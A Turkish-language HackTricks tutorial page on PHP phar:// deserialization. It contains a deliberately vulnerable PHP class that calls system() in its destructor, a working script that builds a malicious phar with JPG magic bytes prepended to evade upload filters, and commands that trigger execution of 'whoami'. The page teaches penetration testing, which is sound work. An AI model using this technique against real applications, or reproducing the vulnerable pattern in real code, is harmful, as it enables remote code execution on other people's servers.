phar:// deserialization

Reading time: 2 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veriler içerir, bu nedenle, ayrıştırıldığında bu meta veri deserileştirilir ve PHP kodu içinde bir deserileştirme zafiyetini istismar etmeye çalışabilirsiniz.

Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.

Yani, bir PHP web uygulamasının phar:// protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf buluyorsunuz:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Bir phar dosyası oluşturabilirsiniz ki yüklendiğinde bu sınıfı kötüye kullanarak rastgele komutlar çalıştırır:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Not edin ki JPG'nin sihirli baytları (\xff\xd8\xff), phar dosyasının başına olası dosya yükleme kısıtlamalarını aşmak için eklenmiştir.
test.phar dosyasını şu şekilde derleyin:

bash
php --define phar.readonly=0 create_phar.php

Ve zayıf kodu istismar ederek whoami komutunu çalıştırın:

bash
php vuln.php

Referanslar

https://blog.ripstech.com/2018/new-php-exploitation-technique/

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin